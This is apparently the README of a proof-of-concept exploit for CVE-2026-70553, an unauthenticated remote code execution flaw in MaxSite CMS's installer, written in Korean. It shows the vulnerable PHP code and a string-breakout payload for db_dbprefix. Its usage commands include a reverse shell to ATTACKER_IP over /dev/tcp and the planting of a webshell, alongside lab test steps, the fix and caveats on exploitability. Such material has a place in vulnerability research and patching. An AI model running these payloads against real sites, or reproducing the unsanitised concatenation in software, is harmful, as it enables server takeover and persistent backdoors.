
CVE-2026-70553에 대한 개념 증명 익스플로잇으로, install 엔드포인트를 통해 database.php에 영구적인 PHP 인젝션을 수행하여 MaxSite CMS에서 인증되지 않은 원격 코드 실행(RCE)을 가능하게 합니다.
CVE-2026-70553에 대한 개념 증명(PoC): 설치 엔드포인트를 통해 database.php에 지속적인 PHP 코드 주입을 수행하여 MaxSite CMS에서 인증되지 않은 원격 코드 실행(RCE)을 달성합니다.
이 PoC는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 작성자는 이 코드로 인한 오용이나 피해에 대해 책임을 지지 않습니다. 소유한 시스템 또는 명시적인 서면 승인을 받은 시스템에서만 테스트하십시오.
MaxSite CMS 105.2~109.5 버전은 설치 엔드포인트에 인증되지 않은 원격 코드 실행 치명적 취약점을 포함합니다. db_dbprefix 매개변수가 검증 없이 PHP 코드에 직접 연결되어, 공격자가 application/config/database.php에 임의의 PHP 문을 주입할 수 있습니다. 이 파일은 모든 요청에 포함되므로, 주입된 코드는 지속적인 RCE를 달성합니다.
install/installer/functions.php에서 newDatabase() 함수는 database.php 콘텐츠를 구성합니다:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
다음과 같은 페이로드를 주입하면:
db_dbprefix=mso_'; system('id'); //
생성된 database.php는 다음과 같아집니다:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
이로써 문자열 리터럴을 벗어나 임의의 PHP 코드가 주입됩니다.
이 수정은 재설치를 방지하기 위한 검사를 추가했습니다:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
중요: 이 취약점은 실제 환경에서 심각한 실질적 제약이 있습니다.
/install/ 디렉터리가 제거되지 않아야 함)newDatabase() 함수는 테이블이 없을 때만 호출됩니다install/installer/post.php에서 checkTableExists()를 통해 확인됩니다newDatabase()가 호출되지 않음/install/에 접근 가능하더라도, 테이블 존재 확인으로 인해 주입 경로가 차단됨통제된 환경에서 이 취약점을 검증하려면:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
이 프로젝트는 MIT 라이선스로 배포됩니다. 자세한 내용은 LICENSE를 참조하십시오.
기억하세요: 항상 책임 있는 공개(responsible disclosure)를 실천하고 테스트 전에 적절한 승인을 받으십시오.